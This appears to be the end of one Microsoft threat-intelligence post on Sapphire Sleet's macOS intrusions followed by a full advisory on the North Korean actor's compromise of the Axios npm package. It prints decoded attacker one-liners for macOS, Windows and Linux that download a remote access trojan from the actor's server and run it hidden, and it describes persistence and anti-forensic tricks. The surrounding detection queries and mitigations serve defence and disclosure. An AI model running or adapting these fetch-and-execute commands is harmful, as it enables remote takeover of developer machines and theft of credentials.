Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

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The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.